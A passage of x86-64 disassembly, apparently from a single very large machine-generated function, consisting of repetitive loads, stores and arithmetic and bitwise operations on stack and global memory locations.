movsx ecx, byte [rsp + 0x259]
sub eax, ecx
mov byte [rsp + 0x24b], al
mov rax, qword [rsp + 0xce88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10c]
add eax, ecx
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0xa878]
movzx eax, word [rax]
mov word [rsp + 0x17ac], ax
mov rax, qword [rsp + 0xcae8]
mov rcx, qword [rsp + 0xaf00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x558c], eax
lea rax, [rsp + 0xaff0]
mov qword [rsp + 0xd368], rax
mov eax, dword [rsp + 0x5354]
imul eax, dword [rsp + 0x4f20]
mov dword [rsp + 0x5058], eax
mov rax, qword [rsp + 0xc5e8]
mov qword [rsp + 0xd370], rax
mov rax, qword [rsp + 0xd060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25f]
and eax, ecx
mov byte [0x1401e87f4], al
mov rax, qword [rsp + 0xa608]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e88de]
shl eax, cl
mov rcx, qword [rsp + 0xcf08]
mov byte [rcx], al
movzx eax, word [rsp + 0x16f0]
movzx ecx, word [rsp + 0x12e0]
sar eax, cl
mov rcx, qword [rsp + 0x9160]
mov word [rcx], ax
lea rax, [rsp + 0x1354]
mov qword [rsp + 0xd378], rax
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e70aa]
xor eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov byte [rcx], al
lea rax, [rsp + 0xc478]
mov qword [rsp + 0xd380], rax
mov rax, qword [rsp + 0xa138]
mov rcx, qword [rsp + 0x9c18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5268], eax
mov rax, qword [rsp + 0x9960]
mov rax, qword [rax]
mov rcx, qword [0x1401e7010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb88], rax
mov rax, qword [rsp + 0xbf70]
mov eax, dword [rax]
mov dword [rsp + 0x55ec], eax
lea rax, [rsp + 0x14a8]
mov qword [0x1401e9090], rax
movsx eax, byte [rsp + 0x21a]
mov rcx, qword [rsp + 0xa188]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd118]
mov byte [rcx], al
lea rax, [rsp + 0x10cc]
mov qword [rsp + 0xd388], rax
mov rax, qword [rsp + 0xbb88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x159c], ax
mov rax, qword [rsp + 0xb8d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x118]
sub eax, ecx
mov byte [rsp + 0x20a], al
lea rax, [rsp + 0xaa78]
mov qword [rsp + 0xd390], rax
mov rax, qword [rsp + 0x9710]
mov ecx, dword [rsp + 0x5154]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcbe8]
mov dword [rcx], eax
lea rax, [rsp + 0xc190]
mov qword [rsp + 0xd398], rax
mov rax, qword [rsp + 0xaee0]
mov rcx, qword [rsp + 0xa538]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbe88]
mov dword [rcx], eax
movzx eax, word [rsp + 0x10a4]
movzx ecx, word [rsp + 0x1564]
sub eax, ecx
mov word [0x1401e71c4], ax
lea rax, [rsp + 0xb6]
mov qword [rsp + 0xd3a0], rax
mov rax, qword [0x1401e8e38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x151c]
add eax, ecx
mov word [rsp + 0x1378], ax
movsx eax, byte [rsp + 0x102]
movsx ecx, byte [rsp + 0xfe]
add eax, ecx
mov byte [rsp + 0x1b4], al
movzx eax, byte [rsp + 0x95]
mov byte [rsp + 0x282], al
mov rax, qword [rsp + 0xb518]
mov rcx, qword [rsp + 0x9af0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb070]
mov qword [rsp + 0xd3a8], rax
mov rax, qword [rsp + 0xa1c0]
mov rcx, qword [rsp + 0xcc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ee8], eax
mov eax, dword [rsp + 0x55e8]
movzx ecx, al
mov eax, dword [rsp + 0x4ffc]
shr eax, cl
mov rcx, qword [rsp + 0xaf98]
mov dword [rcx], eax
lea rax, [rsp + 0x16f0]
mov qword [0x1401e9098], rax
lea rax, [rsp + 0x73]
mov qword [rsp + 0xd3b0], rax
mov rax, qword [0x1401e8da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb968]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x10d], al
lea rax, [rsp + 0x1148]
mov qword [rsp + 0xd3b8], rax
movsx eax, word [rsp + 0x1568]
movsx ecx, word [rsp + 0x1754]
shl eax, cl
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0x9890]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x545c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov qword [rsp + 0xd3c0], rax
mov rax, qword [rsp + 0x9820]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb710]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf50], rax
mov eax, dword [rsp + 0x5104]
mov dword [rsp + 0x55f0], eax
movsx eax, word [rsp + 0x1730]
mov rcx, qword [rsp + 0xa1a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10bc], ax
movzx eax, word [rsp + 0x1560]
mov rcx, qword [0x1401e88f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e71e4], ax
movzx eax, byte [rsp + 0x122]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc3a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9f40]
movzx eax, byte [rax]
mov byte [rsp + 0x283], al
movzx eax, word [rsp + 0x12bc]
mov rcx, qword [0x1401e8c90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb068]
mov word [rcx], ax
lea rax, [rsp + 0x4fbc]
mov qword [rsp + 0xd3c8], rax
mov rax, qword [rsp + 0xbf00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5178]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5134], eax
lea rax, [rsp + 0xbef0]
mov qword [rsp + 0xd3d0], rax
mov rax, qword [rsp + 0x9d90]
mov rcx, qword [rsp + 0xa1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc640], rax
movsx eax, byte [rsp + 0x240]
movsx ecx, byte [rsp + 0xba]
add eax, ecx
mov byte [rsp + 0x8f], al
movsx eax, word [0x1401e7138]
movsx ecx, word [rsp + 0x1748]
add eax, ecx
mov word [0x1401e7078], ax
movzx eax, byte [rsp + 0x124]
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0xa960]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f08]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x103], al
movzx eax, word [rsp + 0x118c]
mov word [rsp + 0x17b0], ax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0xc888]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd2b0], rax
mov rax, qword [rsp + 0xb700]
mov ecx, dword [rsp + 0x5298]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x51c8], eax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xd3d8], rax
mov rax, qword [rsp + 0x9710]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcdc8]
mov qword [rsp + 0xd3e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x55d0], eax
lea rax, [rsp + 0x1510]
mov qword [rsp + 0xd3e8], rax
movzx eax, byte [rsp + 0x20e]
mov byte [0x1401e88df], al
mov rax, qword [0x1401e8c80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x207]
and eax, ecx
mov byte [rsp + 0x276], al
movzx eax, word [rsp + 0x1574]
movzx ecx, word [rsp + 0x1274]
sub eax, ecx
mov word [rsp + 0x12e4], ax
movzx eax, word [rsp + 0x1430]
mov word [rsp + 0x17b4], ax
mov rax, qword [rsp + 0xa500]
mov rcx, qword [rsp + 0xa3f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcb70]
mov qword [rcx], rax
lea rax, [rsp + 0x9cc8]
mov qword [rsp + 0xd3f0], rax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x513c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5128]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4c8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1264]
mov word [rsp + 0x17b8], ax
mov rax, qword [rsp + 0xc8f8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e87e3]
and eax, ecx
mov rcx, qword [0x1401e8dd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd198]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x252], al
mov rax, qword [rsp + 0xb428]
movzx eax, byte [rax]
mov byte [rsp + 0x285], al
mov rax, qword [rsp + 0xae18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1074]
sub eax, ecx
mov word [rsp + 0x1620], ax
lea rax, [rsp + 0x88]
mov qword [rsp + 0xd3f8], rax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0xb370]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5200], eax
mov rax, qword [rsp + 0x95e8]
mov rcx, qword [rsp + 0xbbb0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd210], rax
lea rax, [rsp + 0x95d0]
mov qword [rsp + 0xd400], rax
mov eax, dword [rsp + 0x5098]
mov ecx, dword [rsp + 0x551c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fa4], eax
mov rax, qword [rsp + 0xc318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1178]
shl eax, cl
mov word [0x1401e714c], ax
movzx eax, word [rsp + 0x12ac]
mov word [rsp + 0x17bc], ax
mov rax, qword [rsp + 0xd138]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc358]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbe28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9fc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x240]
sar eax, cl
mov byte [rsp + 0x243], al
lea rax, [rsp + 0x1368]
mov qword [rsp + 0xd408], rax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xb478]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9068]
mov qword [rcx], rax
lea rax, [0x1401e7028]
mov qword [rsp + 0xd410], rax
mov rax, qword [rsp + 0xa7f0]
mov rcx, qword [rsp + 0xb3d8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0x9d70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f18]
mov ecx, dword [rsp + 0x4e34]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa68]
mov dword [rcx], eax
lea rax, [0x1401e7032]
mov qword [0x1401e90a0], rax
lea rax, [rsp + 0x1748]
mov qword [rsp + 0xd418], rax
mov rax, qword [rsp + 0xae40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23b]
add eax, ecx
mov rcx, qword [rsp + 0xc480]
mov byte [rcx], al
lea rax, [0x1401e7087]
mov qword [rsp + 0xd420], rax
movzx eax, word [rsp + 0x17b4]
mov rcx, qword [rsp + 0xa268]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x107c], ax
mov rax, qword [rsp + 0x9f60]
mov eax, dword [rax]
mov dword [rsp + 0x55f4], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb520]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xab60]
mov ecx, dword [rsp + 0x5304]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5114], eax
mov rax, qword [rsp + 0xd358]
mov rax, qword [rax]
mov qword [rsp + 0xd428], rax
movzx eax, word [rsp + 0x13cc]
movzx ecx, word [0x1401e71cc]
and eax, ecx
mov word [0x1401e705c], ax
mov rax, qword [rsp + 0x9b60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1730]
add eax, ecx
mov rcx, qword [rsp + 0x9d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x107]
mov byte [rsp + 0x286], al
mov rax, qword [rsp + 0xb078]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb250]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfd0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd3a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa068]
mov byte [rcx], al
mov eax, dword [rsp + 0x51e4]
mov dword [rsp + 0x55f8], eax
mov rax, qword [rsp + 0x9d50]
mov ecx, dword [rsp + 0x52cc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc550]
mov dword [rcx], eax
lea rax, [rsp + 0xd330]
mov qword [rsp + 0xd430], rax
mov rax, qword [rsp + 0xc2a8]
mov rcx, qword [rsp + 0x90d8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaeb8], rax
mov rax, qword [rsp + 0xb7c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa290]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e71e8], ax
movzx eax, byte [rsp + 0x267]
mov rcx, qword [rsp + 0xc488]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xca80]
mov byte [rcx], al
mov rax, qword [rsp + 0xb440]
movzx eax, word [rax]
mov word [rsp + 0x17c0], ax
movsx eax, byte [0x1401e88de]
movsx ecx, byte [rsp + 0x253]
and eax, ecx
mov rcx, qword [rsp + 0xc448]
mov byte [rcx], al
movzx eax, byte [rsp + 0x222]
mov byte [rsp + 0x287], al
mov rax, qword [rsp + 0xb388]
mov rcx, qword [rsp + 0xc580]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc3d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcbb0]
mov rcx, qword [rsp + 0xb580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e68], eax
mov rax, qword [rsp + 0x9fa0]
mov qword [rsp + 0xd438], rax
mov rax, qword [rsp + 0xb090]
mov rcx, qword [rsp + 0xb8a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa8d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x182]
add eax, ecx
mov byte [0x1401e708b], al
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
mov word [rsp + 0x17c4], ax
movzx eax, word [rsp + 0x1048]
movzx ecx, word [rsp + 0x1584]
sub eax, ecx
mov word [rsp + 0x10fc], ax
movzx eax, word [rsp + 0x144c]
mov word [rsp + 0x17c8], ax
movsx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0x9550]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc448]
mov byte [rcx], al
mov rax, qword [rsp + 0xb020]
mov rcx, qword [rsp + 0x9230]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9cc0], rax
mov eax, dword [rsp + 0x5454]
mov dword [rsp + 0x55fc], eax
mov rax, qword [rsp + 0xbbe8]
mov rcx, qword [rsp + 0xa4d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaef0], rax
lea rax, [rsp + 0x50ec]
mov qword [rsp + 0xd440], rax
movzx eax, word [rsp + 0x1330]
mov rcx, qword [rsp + 0x9968]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401e71ec], ax
movzx eax, byte [rsp + 0x218]
movzx ecx, byte [rsp + 0x244]
xor eax, ecx
mov byte [rsp + 0x1d5], al
mov rax, qword [0x1401e8af0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa0]
sar eax, cl
mov byte [rsp + 0x14c], al
mov rax, qword [rsp + 0xc3a0]
movzx eax, word [rax]
mov word [rsp + 0x17cc], ax
movsx eax, word [rsp + 0x1544]
movsx ecx, word [rsp + 0x1450]
or eax, ecx
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0xa280]
mov eax, dword [rax]
mov dword [rsp + 0x5600], eax
mov eax, dword [rsp + 0x4f68]
mov ecx, dword [rsp + 0x5524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x52cc], eax
mov rax, qword [rsp + 0xb448]
mov rcx, qword [rsp + 0xcb48]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x92f8], rax
lea rax, [0x1401e7018]
mov qword [rsp + 0xd448], rax
mov rax, qword [rsp + 0xd318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8808]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x186]
sub eax, ecx
mov rcx, qword [rsp + 0xc830]
mov byte [rcx], al
lea rax, [0x1401e70b4]
mov qword [rsp + 0xd450], rax
movzx eax, byte [rsp + 0x104]
movzx ecx, byte [rsp + 0x14e]
sub eax, ecx
mov rcx, qword [rsp + 0xcc10]
mov byte [rcx], al
movzx eax, word [rsp + 0x159c]
mov word [rsp + 0x17d0], ax
mov rax, qword [rsp + 0xc550]
mov rcx, qword [rsp + 0x8cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5330], eax
mov rax, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0x9c10]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd3f0]
mov qword [rcx], rax
lea rax, [rsp + 0x52b8]
mov qword [rsp + 0xd458], rax
mov rax, qword [rsp + 0xaab8]
mov rcx, qword [rsp + 0xc7e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d18]
mov qword [rcx], rax
lea rax, [rsp + 0xe2]
mov qword [rsp + 0xd460], rax
mov rax, qword [rsp + 0xa258]
movzx eax, byte [rax]
mov byte [0x1401e88f2], al
mov rax, qword [rsp + 0x9b60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16e8]
sub eax, ecx
mov word [rsp + 0x1120], ax
mov rax, qword [rsp + 0xadf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13c8]
and eax, ecx
mov rcx, qword [rsp + 0xc0c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc920]
movzx eax, byte [rax]
mov byte [rsp + 0x288], al
mov rax, qword [rsp + 0xbcf0]
mov rcx, qword [rsp + 0x9758]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc028], rax
lea rax, [rsp + 0x4e00]
mov qword [rsp + 0xd468], rax
mov rax, qword [rsp + 0xa5a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52c4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe20]
mov rcx, qword [rsp + 0xcde8]
mov qword [rsp + 0xd470], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd470]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8de0]
mov qword [rcx], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0xd478], rax
movzx eax, word [rsp + 0x17b4]
mov rcx, qword [rsp + 0xade8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e71f0], ax
mov rax, qword [0x1401e8bb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
add eax, ecx
mov byte [rsp + 0x15a], al
movzx eax, word [rsp + 0x140c]
mov word [rsp + 0x17d4], ax
mov rax, qword [rsp + 0xa688]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcc88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb560]
mov byte [rcx], al
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xca38]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa4f0], rax
lea rax, [rsp + 0xc7a8]
mov qword [rsp + 0xd480], rax
mov rax, qword [rsp + 0xad18]
mov rcx, qword [rsp + 0xcf78]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x53a8], eax
lea rax, [rsp + 0x54c8]
mov qword [rsp + 0xd488], rax
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x135c]
add eax, ecx
mov word [rsp + 0x1208], ax
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [rsp + 0x182]
sub eax, ecx
mov rcx, qword [0x1401e8ee8]
mov byte [rcx], al
lea rax, [0x1401e70a2]
mov qword [rsp + 0xd490], rax
mov rax, qword [rsp + 0xa1a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x132c]
add eax, ecx
mov rcx, qword [rsp + 0x9ab8]
mov word [rcx], ax
movsx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0xc908]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
lea rax, [rsp + 0xd040]
mov qword [rsp + 0xd498], rax
mov rax, qword [rsp + 0xaf00]
mov ecx, dword [rsp + 0x4e64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e50], eax
mov rax, qword [rsp + 0xc840]
mov qword [rsp + 0xd4a0], rax
mov rax, qword [rsp + 0xb3a8]
mov ecx, dword [rsp + 0x543c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x54fc], eax
movsx eax, byte [rsp + 0x10a]
mov rcx, qword [rsp + 0xc858]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22e], al
mov rax, qword [rsp + 0x9a68]
movsx eax, word [rax]
movsx ecx, word [0x1401e7040]
add eax, ecx
mov word [0x1401e714c], ax
mov rax, qword [rsp + 0xc778]
movzx eax, byte [rax]
mov byte [rsp + 0x289], al
mov rax, qword [rsp + 0xa5e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5e0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbaa8]
mov word [rcx], ax
lea rax, [rsp + 0x1650]
mov qword [rsp + 0xd4a8], rax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0x9f]
or eax, ecx
mov byte [rsp + 0x10d], al
mov eax, dword [rsp + 0x4fe4]
mov ecx, dword [rsp + 0x5100]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f1c], eax
mov rax, qword [rsp + 0xc2e8]
mov rax, qword [rax]
mov qword [rsp + 0xd4b0], rax
mov rax, qword [rsp + 0xa538]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x53a4]
sar eax, cl
mov dword [rsp + 0x5540], eax
mov rax, qword [rsp + 0xabf0]
mov qword [rsp + 0xd4b8], rax
mov rax, qword [rsp + 0x9a48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1570]
and eax, ecx
mov word [0x1401e71f4], ax
mov rax, qword [rsp + 0x92d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15e4], ax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9420]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa258]
mov byte [rcx], al
lea rax, [0x1401e7144]
mov qword [rsp + 0xd4c0], rax
mov rax, qword [rsp + 0xc468]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14b8]
and eax, ecx
mov word [rsp + 0x16c4], ax
lea rax, [rsp + 0xa8e0]
mov qword [rsp + 0xd4c8], rax
mov eax, dword [rsp + 0x54bc]
mov ecx, dword [rsp + 0x4fd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9098]
mov qword [rsp + 0xd4d0], rax
mov rax, qword [rsp + 0xc9a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f60], eax
movsx eax, byte [0x1401e709e]
mov rcx, qword [rsp + 0x9f58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e709b], al
mov rax, qword [rsp + 0x9110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbf98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x19a]
mov byte [rsp + 0x28a], al
mov rax, qword [rsp + 0xbbe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f6]
sub eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0xd460]
movzx eax, byte [rax]
mov byte [rsp + 0x28b], al
mov rax, qword [rsp + 0xbbe8]
mov rcx, qword [rsp + 0xd068]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb728]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401e7004]
shr eax, cl
mov rcx, qword [rsp + 0xa318]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa20]
mov eax, dword [rax]
mov dword [rsp + 0x5604], eax
mov rax, qword [rsp + 0x99b0]
mov rcx, qword [rsp + 0xbb08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb378], rax
mov rax, qword [0x1401e8f28]
movzx eax, byte [rax]
mov byte [0x1401e88f3], al
lea rax, [rsp + 0x10d4]
mov qword [rsp + 0xd4d8], rax
mov rax, qword [rsp + 0xc9e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1034]
shl eax, cl
mov word [rsp + 0x128c], ax
mov rax, qword [rsp + 0xb280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf38]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1544], ax
movzx eax, byte [rsp + 0x229]
mov byte [rsp + 0x28c], al
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xccf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb220]
mov qword [rsp + 0xd4e0], rax
mov eax, dword [rsp + 0x53e8]
mov ecx, dword [rsp + 0x5534]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b0], eax
mov rax, qword [rsp + 0xbab0]
mov rax, qword [rax]
mov qword [rsp + 0xd4e8], rax
mov rax, qword [rsp + 0xc358]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e88c2]
add eax, ecx
mov rcx, qword [0x1401e8910]
mov byte [rcx], al
movsx eax, word [rsp + 0x159c]
movsx ecx, word [rsp + 0x1554]
add eax, ecx
mov rcx, qword [rsp + 0xa8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb610]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9b]
and eax, ecx
mov rcx, qword [rsp + 0xcce0]
mov byte [rcx], al
lea rax, str.U_bC
mov qword [rsp + 0xd4f0], rax
mov rax, qword [rsp + 0xa860]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc18]
mov rax, qword [rax]
mov qword [rsp + 0xd4f8], rax
mov eax, dword [0x1401e7004]
mov ecx, dword [rsp + 0x5238]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xa280]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba40]
mov dword [rcx], eax
lea rax, [rsp + 0xc058]
mov qword [rsp + 0xd500], rax
mov rax, qword [0x1401e8890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16a]
add eax, ecx
mov byte [0x1401e70ee], al
movzx eax, word [rsp + 0x10dc]
movzx ecx, word [rsp + 0x1384]
xor eax, ecx
mov word [rsp + 0x164c], ax
lea rax, [rsp + 0x16c]
mov qword [rsp + 0xd508], rax
movzx eax, word [0x1401e88c0]
